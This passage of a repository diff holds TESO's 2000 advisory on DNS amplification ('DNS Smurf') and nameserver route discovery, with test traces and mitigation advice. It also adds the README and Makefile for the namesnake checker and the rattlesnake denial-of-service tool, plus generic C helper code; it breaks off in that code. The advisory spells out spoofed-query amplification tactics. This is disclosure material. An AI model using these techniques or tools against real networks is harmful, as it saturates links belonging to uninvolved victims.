| 40 | against some vulnerable nameserver. | ||
| 41 | |||
| 42 | 08:07:24.943598 ns2.domain > victim.domain: 15121 (35) | ||
| 43 | 08:07:32.747253 ns3.domain > victim.domain: 8536 (35) | ||
| 44 | 08:07:32.832604 ns2.domain > victim.domain: 15121 (35) | ||
| 45 | 08:07:39.819289 ns3.domain > victim.domain: 8536 (35) | ||
| 46 | 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35) | ||
| 47 | 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 48 | 08:07:48.928981 ns2.domain > victim.domain: 15121 (35) | ||
| 49 | 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35) | ||
| 50 | 08:07:56.107063 ns3.domain > victim.domain: 8536 (35) | ||
| 51 | 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 52 | 08:08:04.938187 ns6.domain > victim.domain: 26706 (35) | ||
| 53 | 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35) | ||
| 54 | 08:08:13.826464 ns6.domain > victim.domain: 26706 (35) | ||
| 55 | 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35) | ||
| 56 | 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 57 | 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35) | ||
| 58 | 08:08:30.873233 ns6.domain > victim.domain: 26706 (35) | ||
| 59 | 08:08:32.658479 ns1.domain > querier.1025: 298 ServFail 0/0/0 (35) | ||
| 60 | 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35) | ||
| 61 | |||
| 62 | The initial DNS query packet had a size of 35 bytes, although packets | ||
| 63 | up to a size of 500 bytes are possible. | ||
| 64 | As you can see there are five nameservers who indirectly got the query, | ||
| 65 | which was send by "querier" (query packet not displayed). The first name- | ||
| 66 | server that got queried was "ns1". | ||
| 67 | |||
| 68 | The query is forwarded to five other nameservers, so all together there are | ||
| 69 | six nameservers which try to resolve the query domain. If the query domain | ||
| 70 | is a normal existent domain name, the authoritative nameserver will answer | ||
| 71 | promptly and the answer is returned to the original query host. | ||
| 72 | |||
| 73 | This is the normal case. However, if there is an authoritative nameserver | ||
| 74 | which does not respond to the queries send to it, all nameservers will | ||
| 75 | retry to resolve the domain by sending out the query packet, assuming the | ||
| 76 | UDP packet they have previously sent got lost. | ||
| 77 | Because all six nameservers do this, this results in a traffic amplify | ||
| 78 | with factor 18 (18 packets send for each attacker packet). | ||
| 79 | |||
| 80 | Through testing a few hundred nameservers on this vulnerability we quickly | ||
| 81 | found nameservers which will amplify with ratios well beyond 30, sometimes | ||
| 82 | even exceeding 50. | ||
| 83 | |||
| 84 | |||
| 85 | Impact | ||
| 86 | =================== | ||
| 87 | |||
| 88 | By abusing multiple nameserver-chains as traffic amplifiers an attacker can | ||
| 89 | easily saturate any network link. The traffic to the victim IP is caused by | ||
| 90 | the query packets which are sent by each nameserver in the nameserver-chain | ||
| 91 | to the fake authoritative nameserver in the victim network. | ||
| 92 | |||
| 93 | For the last few years denial of service (DoS) attacks that are based on | ||
| 94 | bandwidth saturation have always been a problem. A few years ago, when the | ||
| 95 | Smurf ICMP denial of service attack got publicly known nearly everyone was | ||
| 96 | able to saturate any link by abusing other networks as a traffic amplifier. | ||
| 97 | Since then numerous amplify attacks have been discovered, such as [3] and | ||
| 98 | [4], the original posting of the Smurf attack is [5]. | ||
| 99 | |||
| 100 | Any method that allows an attacker to amplify his traffic can be abused for | ||
| 101 | a denial of service attack. | ||
| 102 | |||
| 103 | |||
| 104 | Explanation | ||
| 105 | =================== | ||
| 106 | |||
| 107 | When a nameserver receives a query, most nameservers usually just start | ||
| 108 | forwarding the query to some other nameserver. There can be quite a long | ||
| 109 | path of forwarding queries. However if the query is not resolvable | ||
| 110 | because there is no nameserver listening on the remote host, every | ||
| 111 | forwarding nameserver will start to resolve it on their own, by querying | ||
| 112 | the authoritative nameserver themselves. In the default configuration each | ||
| 113 | nameserver will send the query three times, after 0, 12 and 24 seconds, | ||
| 114 | ymmv. | ||
| 115 | |||
| 116 | This can be used to discover the path of nameservers. To do this an | ||
| 117 | attacker would query the first nameserver for a domain he can see the | ||
| 118 | packets on, at best the domain points to the query host itself. Then he | ||
| 119 | would record all nameservers that send out a packet to himself. After | ||
| 120 | having done this he would try with another nameserver of the ones he got | ||
| 121 | queries from. In the best case he will receive queries from all hosts | ||
| 122 | but one missing. The missing one is the first host in the route. After | ||
| 123 | having reduced the list by one he will start over with the reduced list | ||
| 124 | until there is only one nameserver remaining, which is the last in the | ||
| 125 | querying chain. | ||
| 126 | |||
| 127 | Through seeking especially long paths, where a lot of nameservers are | ||
| 128 | queried, this can be abused as a traffic amplify bandwidth attack, as shown | ||
| 129 | above. | ||
| 130 | |||
| 131 | Since the important entries such as the NS entry is in the cache of each | ||
| 132 | nameserver after the first query, the attack is very fast pacing after the | ||
| 133 | first query, since no additional packets are sent to the attacker and the | ||
| 134 | attacker may spoof the UDP query packets. If the attacker is clever he | ||
| 135 | would use a very short lifetime for his NS entry, while using a long | ||
| 136 | lifetime for the victim subdomain. After the first query succeeded he will | ||
| 137 | just shut his nameserver down and send out spoofed query packets at a very | ||
| 138 | fast rate. | ||
| 139 | |||
| 140 | |||
| 141 | Solution | ||
| 142 | =================== | ||
| 143 | |||
| 144 | "Defense is the best Offense" - said by a wise person. By protecting your | ||
| 145 | own nameservers against being abused by attackers you secure other sites at | ||
| 146 | the same time. If you run BIND [6] nameservers in your network please care | ||
| 147 | to read basic BIND configuration tutorials and especially documents on how | ||
| 148 | to secure your BIND configuration [7]. | ||
| 149 | |||
| 150 | Also notice that you may fall victim to the same attack, if only one | ||
| 151 | nameserver in your network is vulnerable -- That means if only one | ||
| 152 | server is accepting queries for external domains from strangers, this | ||
| 153 | nameserver inside your network will send out trusted queries to other | ||
| 154 | nameservers in your network, and hence can be abused too. | ||
| 155 | |||
| 156 | By taking more generic measures against being the originator network of | ||
| 157 | denial of service attacks, such as improving your overall network security, | ||
| 158 | you contribute to the security of all other networks in the Internet too. | ||
| 159 | I urge you to subscribe to a security related mailing list, such as | ||
| 160 | Bugtraq [8] or, if you cannot afford the time necessary to read such a | ||
| 161 | list, at least subscribe to the CERT list [9]. | ||
| 162 | |||
| 163 | In general there is no foolproof method to avoid getting a victim of a DNS | ||
| 164 | Smurf. But what can you do if you get attacked ? | ||
| 165 | |||
| 166 | To think of the correct response we have to think of why this attack works. | ||
| 167 | It works because other nameservers try to query a non-existent nameserver | ||
| 168 | in your network and don't get any response, hence retrying again. To just | ||
| 169 | filter DNS traffic to this IP is only of little use as a short-time | ||
| 170 | measure. Instead setting up a bogus DNS server on the victim IP address, | ||
| 171 | which replies with bogus answers to any query it receives will reduce the | ||
| 172 | impact of the attack. | ||
| 173 | |||
| 174 | However the real cause for the attack is still the number of misconfigured | ||
| 175 | DNS servers out there, which accept queries for external domains from | ||
| 176 | strangers. Another reason is the unreliable transport protocol which makes | ||
| 177 | it impossible for the nameserver to notice the unreachability of the remote | ||
| 178 | victim nameserver. | ||
| 179 | |||
| 180 | |||
| 181 | Acknowledgments | ||
| 182 | ================ | ||
| 183 | |||
| 184 | The bug discovery and the demonstration programs is due to TESO [1]. | ||
| 185 | |||
| 186 | This advisory has been written by scut and hendy. | ||
| 187 | The tests and further analysis were done by scut. | ||
| 188 | The demonstration exploit has been written by scut. | ||
| 189 | |||
| 190 | |||
| 191 | Contact Information | ||
| 192 | =================== | ||
| 193 | |||
| 194 | The TESO crew can be reached by mailing to teso@shellcode.org. | ||
| 195 | Our web page is at http://teso.scene.at/ | ||
| 196 | |||
| 197 | |||
| 198 | References | ||
| 199 | =================== | ||
| 200 | |||
| 201 | [1] TESO | ||
| 202 | http://teso.scene.at/ | ||
| 203 | |||
| 204 | [2] Packetfactory | ||
| 205 | http://www.packetfactory.net/ | ||
| 206 | |||
| 207 | [3] The "MAC DoS Attack", a x37 traffic amplify attack | ||
| 208 | posted on Bugtraq Mailing List 12/28/1999, discovered by John Copeland | ||
| 209 | |||
| 210 | [4] DNS Smurf (through query/answer ratio) | ||
| 211 | s0ftpr0ject Security Advisory SPJ-002-000, July 19, 1999 | ||
| 212 | posted on Bugtraq Mailing List 07/30/1999, discovered by scacco | ||
| 213 | |||
| 214 | [5] ICMP ECHO Requests to Broadcast addresses (ICMP Smurf attack) | ||
| 215 | posted on Bugtraq Mailing List 07/19/1997, posting by Edward Henigin | ||
| 216 | |||
| 217 | [6] BIND nameserver software - Internet Software Consortium | ||
| 218 | http://www.isc.org/ | ||
| 219 | |||
| 220 | [7] Securing Domain Name Service | ||
| 221 | Article on securityportal.com security related website | ||
| 222 | http://securityportal.com/cover/coverstory19990621.html | ||
| 223 | |||
| 224 | [8] Bugtraq Mailing List | ||
| 225 | http://www.securityfocus.com/about/feedback/subscribe-bugtraq.html | ||
| 226 | |||
| 227 | [9] CERT Mailing List | ||
| 228 | http://www.cert.org/contact_cert/certmaillist.html | ||
| 229 | |||
| 230 | |||
| 231 | |||
| 232 | Disclaimer | ||
| 233 | =================== | ||
| 234 | |||
| 235 | This advisory does not claim to be complete or to be usable for any | ||
| 236 | purpose. Especially information on the vulnerable systems may be | ||
| 237 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 238 | purposes, but for educational purposes only. | ||
| 239 | |||
| 240 | This advisory is free for open distribution in unmodified form. | ||
| 241 | Articles that are based on information from this advisory should include | ||
| 242 | link [1]. | ||
| 243 | |||
| 244 | |||
| 245 | Exploit | ||
| 246 | =================== | ||
| 247 | |||
| 248 | We've created a working demonstration program to exploit the vulnerability. | ||
| 249 | The program needs Libnet, a low level network library installed, which can | ||
| 250 | be obtained through [2]. | ||
| 251 | |||
| 252 | The exploit is available from | ||
| 253 | |||
| 254 | http://teso.scene.at/ | ||
| 255 | |||
| 256 | ------ | ||
| 257 | |||
| 258 | |||
diff --git a/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz b/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz new file mode 100644 index 0000000..637bedc --- /dev/null +++ b/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz | |||
| Binary files differ | |||
diff --git a/advisories/teso-advisory-003/namesnake/README b/advisories/teso-advisory-003/namesnake/README new file mode 100644 index 0000000..448e2a3 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/README | |||
| @@ -0,0 +1,20 @@ | |||
| 1 | rattlesnake and namesnake | ||
| 2 | by team teso | ||
| 3 | |||
| 4 | read the advisory in doc/ before asking stupid questions. | ||
| 5 | |||
| 6 | namesnake is a tool to check whether a nameserver can be abused as a traffic | ||
| 7 | amplifier. it is not fast, in fact it is very slow. i could've done it very | ||
| 8 | fast, but since you are only going to check your local servers anyway, you | ||
| 9 | shouldn't care, do you ? | ||
| 10 | |||
| 11 | rattlesnake is a denial of service attack tool used to produce queries. | ||
| 12 | usage should be obvious, if not reread the advisory. | ||
| 13 | |||
| 14 | btw, for the compilation, you have to have libnet 1.x installed. the | ||
| 15 | compilation errors (random/srandom) are caused by invalid libnet headers, | ||
| 16 | i hope they will be fixed soon, so don't bug me about it. | ||
| 17 | |||
| 18 | regards, | ||
| 19 | scut / teso | ||
| 20 | |||
diff --git a/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt b/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt new file mode 100644 index 0000000..be6bc78 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt | |||
| @@ -0,0 +1,258 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 02/11/2000 | ||
| 6 | |||
| 7 | Nameserver traffic amplify (DNS Smurf) and NS Route discovery (DNS Traceroute) | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | Nameservers which accept and forward external DNS queries may be abused | ||
| 14 | as traffic amplifiers, exposing a possible threat to network integrity | ||
| 15 | by bandwidth saturation (DNS Smurf). | ||
| 16 | |||
| 17 | A "deaf" pseudo nameserver may be used to discover the query chain a | ||
| 18 | DNS query takes through various nameservers, allowing to make a trace- | ||
| 19 | route like route discovery (DNS Traceroute). | ||
| 20 | |||
| 21 | |||
| 22 | Systems Affected | ||
| 23 | =================== | ||
| 24 | |||
| 25 | All type of nameservers which accept external queries. Especially those, | ||
| 26 | which forward the queries to other nameservers or those which have | ||
| 27 | excessive retry attempt values. The common value is to try three times, | ||
| 28 | but we have observed misconfigured servers which tried more then 20 times | ||
| 29 | sending out a query packet. | ||
| 30 | |||
| 31 | Note that this attack is completely different from the DNS Smurf attack | ||
| 32 | discovered by s0ftpr0ject [4], however, it exploits weaknesses in default | ||
| 33 | BIND [6] configurations too. | ||
| 34 | |||
| 35 | |||
| 36 | Tests | ||
| 37 | =================== | ||
| 38 | |||
| 39 | The following data is an except from initial tests we have conducted | ||
| 40 | against some vulnerable nameserver. | ||
| 41 | |||
| 42 | 08:07:24.943598 ns2.domain > victim.domain: 15121 (35) | ||
| 43 | 08:07:32.747253 ns3.domain > victim.domain: 8536 (35) | ||
| 44 | 08:07:32.832604 ns2.domain > victim.domain: 15121 (35) | ||
| 45 | 08:07:39.819289 ns3.domain > victim.domain: 8536 (35) | ||
| 46 | 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35) | ||
| 47 | 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 48 | 08:07:48.928981 ns2.domain > victim.domain: 15121 (35) | ||
| 49 | 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35) | ||
| 50 | 08:07:56.107063 ns3.domain > victim.domain: 8536 (35) | ||
| 51 | 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 52 | 08:08:04.938187 ns6.domain > victim.domain: 26706 (35) | ||
| 53 | 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35) | ||
| 54 | 08:08:13.826464 ns6.domain > victim.domain: 26706 (35) | ||
| 55 | 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35) | ||
| 56 | 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 57 | 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35) | ||
| 58 | 08:08:30.873233 ns6.domain > victim.domain: 26706 (35) | ||
| 59 | 08:08:32.658479 ns1.domain > querier.1025: 298 ServFail 0/0/0 (35) | ||
| 60 | 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35) | ||
| 61 | |||
| 62 | The initial DNS query packet had a size of 35 bytes, although packets | ||
| 63 | up to a size of 500 bytes are possible. | ||
| 64 | As you can see there are five nameservers who indirectly got the query, | ||
| 65 | which was send by "querier" (query packet not displayed). The first name- | ||
| 66 | server that got queried was "ns1". | ||
| 67 | |||
| 68 | The query is forwarded to five other nameservers, so all together there are | ||
| 69 | six nameservers which try to resolve the query domain. If the query domain | ||
| 70 | is a normal existent domain name, the authoritative nameserver will answer | ||
| 71 | promptly and the answer is returned to the original query host. | ||
| 72 | |||
| 73 | This is the normal case. However, if there is an authoritative nameserver | ||
| 74 | which does not respond to the queries send to it, all nameservers will | ||
| 75 | retry to resolve the domain by sending out the query packet, assuming the | ||
| 76 | UDP packet they have previously sent got lost. | ||
| 77 | Because all six nameservers do this, this results in a traffic amplify | ||
| 78 | with factor 18 (18 packets send for each attacker packet). | ||
| 79 | |||
| 80 | Through testing a few hundred nameservers on this vulnerability we quickly | ||
| 81 | found nameservers which will amplify with ratios well beyond 30, sometimes | ||
| 82 | even exceeding 50. | ||
| 83 | |||
| 84 | |||
| 85 | Impact | ||
| 86 | =================== | ||
| 87 | |||
| 88 | By abusing multiple nameserver-chains as traffic amplifiers an attacker can | ||
| 89 | easily saturate any network link. The traffic to the victim IP is caused by | ||
| 90 | the query packets which are sent by each nameserver in the nameserver-chain | ||
| 91 | to the fake authoritative nameserver in the victim network. | ||
| 92 | |||
| 93 | For the last few years denial of service (DoS) attacks that are based on | ||
| 94 | bandwidth saturation have always been a problem. A few years ago, when the | ||
| 95 | Smurf ICMP denial of service attack got publicly known nearly everyone was | ||
| 96 | able to saturate any link by abusing other networks as a traffic amplifier. | ||
| 97 | Since then numerous amplify attacks have been discovered, such as [3] and | ||
| 98 | [4], the original posting of the Smurf attack is [5]. | ||
| 99 | |||
| 100 | Any method that allows an attacker to amplify his traffic can be abused for | ||
| 101 | a denial of service attack. | ||
| 102 | |||
| 103 | |||
| 104 | Explanation | ||
| 105 | =================== | ||
| 106 | |||
| 107 | When a nameserver receives a query, most nameservers usually just start | ||
| 108 | forwarding the query to some other nameserver. There can be quite a long | ||
| 109 | path of forwarding queries. However if the query is not resolvable | ||
| 110 | because there is no nameserver listening on the remote host, every | ||
| 111 | forwarding nameserver will start to resolve it on their own, by querying | ||
| 112 | the authoritative nameserver themselves. In the default configuration each | ||
| 113 | nameserver will send the query three times, after 0, 12 and 24 seconds, | ||
| 114 | ymmv. | ||
| 115 | |||
| 116 | This can be used to discover the path of nameservers. To do this an | ||
| 117 | attacker would query the first nameserver for a domain he can see the | ||
| 118 | packets on, at best the domain points to the query host itself. Then he | ||
| 119 | would record all nameservers that send out a packet to himself. After | ||
| 120 | having done this he would try with another nameserver of the ones he got | ||
| 121 | queries from. In the best case he will receive queries from all hosts | ||
| 122 | but one missing. The missing one is the first host in the route. After | ||
| 123 | having reduced the list by one he will start over with the reduced list | ||
| 124 | until there is only one nameserver remaining, which is the last in the | ||
| 125 | querying chain. | ||
| 126 | |||
| 127 | Through seeking especially long paths, where a lot of nameservers are | ||
| 128 | queried, this can be abused as a traffic amplify bandwidth attack, as shown | ||
| 129 | above. | ||
| 130 | |||
| 131 | Since the important entries such as the NS entry is in the cache of each | ||
| 132 | nameserver after the first query, the attack is very fast pacing after the | ||
| 133 | first query, since no additional packets are sent to the attacker and the | ||
| 134 | attacker may spoof the UDP query packets. If the attacker is clever he | ||
| 135 | would use a very short lifetime for his NS entry, while using a long | ||
| 136 | lifetime for the victim subdomain. After the first query succeeded he will | ||
| 137 | just shut his nameserver down and send out spoofed query packets at a very | ||
| 138 | fast rate. | ||
| 139 | |||
| 140 | |||
| 141 | Solution | ||
| 142 | =================== | ||
| 143 | |||
| 144 | "Defense is the best Offense" - said by a wise person. By protecting your | ||
| 145 | own nameservers against being abused by attackers you secure other sites at | ||
| 146 | the same time. If you run BIND [6] nameservers in your network please care | ||
| 147 | to read basic BIND configuration tutorials and especially documents on how | ||
| 148 | to secure your BIND configuration [7]. | ||
| 149 | |||
| 150 | Also notice that you may fall victim to the same attack, if only one | ||
| 151 | nameserver in your network is vulnerable -- That means if only one | ||
| 152 | server is accepting queries for external domains from strangers, this | ||
| 153 | nameserver inside your network will send out trusted queries to other | ||
| 154 | nameservers in your network, and hence can be abused too. | ||
| 155 | |||
| 156 | By taking more generic measures against being the originator network of | ||
| 157 | denial of service attacks, such as improving your overall network security, | ||
| 158 | you contribute to the security of all other networks in the Internet too. | ||
| 159 | I urge you to subscribe to a security related mailing list, such as | ||
| 160 | Bugtraq [8] or, if you cannot afford the time necessary to read such a | ||
| 161 | list, at least subscribe to the CERT list [9]. | ||
| 162 | |||
| 163 | In general there is no foolproof method to avoid getting a victim of a DNS | ||
| 164 | Smurf. But what can you do if you get attacked ? | ||
| 165 | |||
| 166 | To think of the correct response we have to think of why this attack works. | ||
| 167 | It works because other nameservers try to query a non-existent nameserver | ||
| 168 | in your network and don't get any response, hence retrying again. To just | ||
| 169 | filter DNS traffic to this IP is only of little use as a short-time | ||
| 170 | measure. Instead setting up a bogus DNS server on the victim IP address, | ||
| 171 | which replies with bogus answers to any query it receives will reduce the | ||
| 172 | impact of the attack. | ||
| 173 | |||
| 174 | However the real cause for the attack is still the number of misconfigured | ||
| 175 | DNS servers out there, which accept queries for external domains from | ||
| 176 | strangers. Another reason is the unreliable transport protocol which makes | ||
| 177 | it impossible for the nameserver to notice the unreachability of the remote | ||
| 178 | victim nameserver. | ||
| 179 | |||
| 180 | |||
| 181 | Acknowledgments | ||
| 182 | ================ | ||
| 183 | |||
| 184 | The bug discovery and the demonstration programs is due to TESO [1]. | ||
| 185 | |||
| 186 | This advisory has been written by scut and hendy. | ||
| 187 | The tests and further analysis were done by scut. | ||
| 188 | The demonstration exploit has been written by scut. | ||
| 189 | |||
| 190 | |||
| 191 | Contact Information | ||
| 192 | =================== | ||
| 193 | |||
| 194 | The TESO crew can be reached by mailing to teso@shellcode.org. | ||
| 195 | Our web page is at http://teso.scene.at/ | ||
| 196 | |||
| 197 | |||
| 198 | References | ||
| 199 | =================== | ||
| 200 | |||
| 201 | [1] TESO | ||
| 202 | http://teso.scene.at/ | ||
| 203 | |||
| 204 | [2] Packetfactory | ||
| 205 | http://www.packetfactory.net/ | ||
| 206 | |||
| 207 | [3] The "MAC DoS Attack", a x37 traffic amplify attack | ||
| 208 | posted on Bugtraq Mailing List 12/28/1999, discovered by John Copeland | ||
| 209 | |||
| 210 | [4] DNS Smurf (through query/answer ratio) | ||
| 211 | s0ftpr0ject Security Advisory SPJ-002-000, July 19, 1999 | ||
| 212 | posted on Bugtraq Mailing List 07/30/1999, discovered by scacco | ||
| 213 | |||
| 214 | [5] ICMP ECHO Requests to Broadcast addresses (ICMP Smurf attack) | ||
| 215 | posted on Bugtraq Mailing List 07/19/1997, posting by Edward Henigin | ||
| 216 | |||
| 217 | [6] BIND nameserver software - Internet Software Consortium | ||
| 218 | http://www.isc.org/ | ||
| 219 | |||
| 220 | [7] Securing Domain Name Service | ||
| 221 | Article on securityportal.com security related website | ||
| 222 | http://securityportal.com/cover/coverstory19990621.html | ||
| 223 | |||
| 224 | [8] Bugtraq Mailing List | ||
| 225 | http://www.securityfocus.com/about/feedback/subscribe-bugtraq.html | ||
| 226 | |||
| 227 | [9] CERT Mailing List | ||
| 228 | http://www.cert.org/contact_cert/certmaillist.html | ||
| 229 | |||
| 230 | |||
| 231 | |||
| 232 | Disclaimer | ||
| 233 | =================== | ||
| 234 | |||
| 235 | This advisory does not claim to be complete or to be usable for any | ||
| 236 | purpose. Especially information on the vulnerable systems may be | ||
| 237 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 238 | purposes, but for educational purposes only. | ||
| 239 | |||
| 240 | This advisory is free for open distribution in unmodified form. | ||
| 241 | Articles that are based on information from this advisory should include | ||
| 242 | link [1]. | ||
| 243 | |||
| 244 | |||
| 245 | Exploit | ||
| 246 | =================== | ||
| 247 | |||
| 248 | We've created a working demonstration program to exploit the vulnerability. | ||
| 249 | The program needs Libnet, a low level network library installed, which can | ||
| 250 | be obtained through [2]. | ||
| 251 | |||
| 252 | The exploit is available from | ||
| 253 | |||
| 254 | http://teso.scene.at/ | ||
| 255 | |||
| 256 | ------ | ||
| 257 | |||
| 258 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/Makefile b/advisories/teso-advisory-003/namesnake/src/Makefile new file mode 100644 index 0000000..5981e52 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/Makefile | |||
| @@ -0,0 +1,16 @@ | |||
| 1 | CFLAGS=-Wall -ggdb `libnet-config --defines` | ||
| 2 | LIBS=-lnet | ||
| 3 | CC=gcc | ||
| 4 | OBJS=common.o dns-build.o dns.o io-udp.o network.o | ||
| 5 | |||
| 6 | all: namesnake rattlesnake | ||
| 7 | |||
| 8 | clean: | ||
| 9 | rm -f *.o namesnake rattlesnake | ||
| 10 | |||
| 11 | rattlesnake: rattlesnake.c $(OBJS) | ||
| 12 | $(CC) $(CFLAGS) -static -o rattlesnake rattlesnake.c $(OBJS) $(LIBS) | ||
| 13 | |||
| 14 | namesnake: namesnake.c $(OBJS) | ||
| 15 | $(CC) $(CFLAGS) -o namesnake namesnake.c $(OBJS) $(LIBS) | ||
| 16 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/common.c b/advisories/teso-advisory-003/namesnake/src/common.c new file mode 100644 index 0000000..36391ad --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/common.c | |||
| @@ -0,0 +1,372 @@ | |||
| 1 | |||
| 2 | #include <sys/types.h> | ||
| 3 | #include <sys/wait.h> | ||
| 4 | #include <sys/time.h> | ||
| 5 | #include <netinet/in.h> | ||
| 6 | #include <unistd.h> | ||
| 7 | #include <time.h> | ||
| 8 | #include <stdarg.h> | ||
| 9 | #include <stdio.h> | ||
| 10 | #include <string.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <unistd.h> | ||
| 13 | #include "common.h" | ||
| 14 | |||
| 15 | |||
| 16 | #ifdef DEBUG | ||
| 17 | void | ||
| 18 | debugp (char *filename, const char *str, ...) | ||
| 19 | { | ||
| 20 | FILE *fp; /* temporary file pointer */ | ||
| 21 | va_list vl; | ||
| 22 | |||
| 23 | fp = fopen (filename, "a"); | ||
| 24 | if (fp == NULL) | ||
| 25 | return; | ||
| 26 | |||
| 27 | va_start (vl, str); | ||
| 28 | vfprintf (fp, str, vl); | ||
| 29 | va_end (vl); | ||
| 30 | |||
| 31 | fclose (fp); | ||
| 32 | |||
| 33 | return; | ||
| 34 | } | ||
| 35 | |||
| 36 | void | ||
| 37 | hexdump (char *filename, unsigned char *data, unsigned int amount) | ||
| 38 | { | ||
| 39 | FILE *fp; /* temporary file pointer */ | ||
| 40 | unsigned int dp, p; /* data pointer */ | ||
| 41 | const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" | ||
| 42 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 43 | "nopqrstuvwxyz{|}~...................................." | ||
| 44 | "....................................................." | ||
| 45 | "........................................"; | ||
| 46 | |||
| 47 | fp = fopen (filename, "a"); | ||
| 48 | if (fp == NULL) | ||
| 49 | return; | ||
| 50 | |||
| 51 | fprintf (fp, "\n-packet-\n"); | ||
| 52 | |||
| 53 | for (dp = 1; dp <= amount; dp++) { | ||
| 54 | fprintf (fp, "%02x ", data[dp-1]); | ||
| 55 | if ((dp % 8) == 0) | ||
| 56 | fprintf (fp, " "); | ||
| 57 | if ((dp % 16) == 0) { | ||
| 58 | fprintf (fp, "| "); | ||
| 59 | p = dp; | ||
| 60 | for (dp -= 16; dp < p; dp++) | ||
| 61 | fprintf (fp, "%c", trans[data[dp]]); | ||
| 62 | fflush (fp); | ||
| 63 | fprintf (fp, "\n"); | ||
| 64 | } | ||
| 65 | fflush (fp); | ||
| 66 | } | ||
| 67 | if ((amount % 16) != 0) { | ||
| 68 | p = dp = 16 - (amount % 16); | ||
| 69 | for (dp = p; dp > 0; dp--) { | ||
| 70 | fprintf (fp, " "); | ||
| 71 | if (((dp % 8) == 0) && (p != 8)) | ||
| 72 | fprintf (fp, " "); | ||
| 73 | fflush (fp); | ||
| 74 | } | ||
| 75 | fprintf (fp, " | "); | ||
| 76 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 77 | fprintf (fp, "%c", trans[data[dp]]); | ||
| 78 | fflush (fp); | ||
| 79 | } | ||
| 80 | fprintf (fp, "\n"); | ||
| 81 | |||
| 82 | fclose (fp); | ||
| 83 | return; | ||
| 84 | } | ||
| 85 | |||
| 86 | #endif | ||
| 87 | |||
| 88 | |||
| 89 | char ** | ||
| 90 | file_read (char *filename) | ||
| 91 | { | ||
| 92 | char buf[2048]; | ||
| 93 | FILE *fp; | ||
| 94 | char **line_array = NULL; | ||
| 95 | int ac = 0; | ||
| 96 | char *c_p; | ||
| 97 | |||
| 98 | fp = fopen (filename, "r"); | ||
| 99 | if (fp == NULL) | ||
| 100 | return (NULL); | ||
| 101 | |||
| 102 | memset (buf, '\0', sizeof (buf)); | ||
| 103 | while (fgets (buf, sizeof (buf) - 1, fp) != NULL) { | ||
| 104 | line_array = xrealloc (line_array, (++ac + 1) * (sizeof (char *))); | ||
| 105 | line_array[ac] = NULL; /* eoa ptr ss! */ | ||
| 106 | for (c_p = (buf + sizeof (buf) - 1) ; c_p != buf ; c_p--) { | ||
| 107 | if (*c_p == '\n') | ||
| 108 | *c_p = '\0'; | ||
| 109 | } | ||
| 110 | line_array[ac - 1] = xstrdup (buf); /* hook em up */ | ||
| 111 | memset (buf, '\0', sizeof (buf)); | ||
| 112 | } | ||
| 113 | fclose (fp); | ||
| 114 | |||
| 115 | return (line_array); | ||
| 116 | } | ||
| 117 | |||
| 118 | |||
| 119 | /* z_fork | ||
| 120 | * | ||
| 121 | * fork and detach forked client completely to avoid zombies. | ||
| 122 | * taken from richard stevens excellent system programming book :) thanks, | ||
| 123 | * whereever you are now. | ||
| 124 | * | ||
| 125 | * caveat: the pid of the child has already died, it can just be used to | ||
| 126 | * differentiate between parent and not parent, the pid of the | ||
| 127 | * child is inaccessibly. | ||
| 128 | * | ||
| 129 | * return pid of child for old process | ||
| 130 | * return 0 for child | ||
| 131 | */ | ||
| 132 | |||
| 133 | pid_t | ||
| 134 | z_fork (void) | ||
| 135 | { | ||
| 136 | pid_t pid; | ||
| 137 | |||
| 138 | pid = fork (); | ||
| 139 | if (pid < 0) { | ||
| 140 | return (pid); | ||
| 141 | } else if (pid == 0) { | ||
| 142 | /* let the child fork again | ||
| 143 | */ | ||
| 144 | |||
| 145 | pid = fork (); | ||
| 146 | if (pid < 0) { | ||
| 147 | return (pid); | ||
| 148 | } else if (pid > 0) { | ||
| 149 | /* let the child and parent of the second child | ||
| 150 | * exit | ||
| 151 | */ | ||
| 152 | exit (EXIT_SUCCESS); | ||
| 153 | } | ||
| 154 | |||
| 155 | return (0); | ||
| 156 | } | ||
| 157 | |||
| 158 | waitpid (pid, NULL, 0); | ||
| 159 | |||
| 160 | return (pid); | ||
| 161 | } | ||
| 162 | |||
| 163 | |||
| 164 | /* m_random | ||
| 165 | * | ||
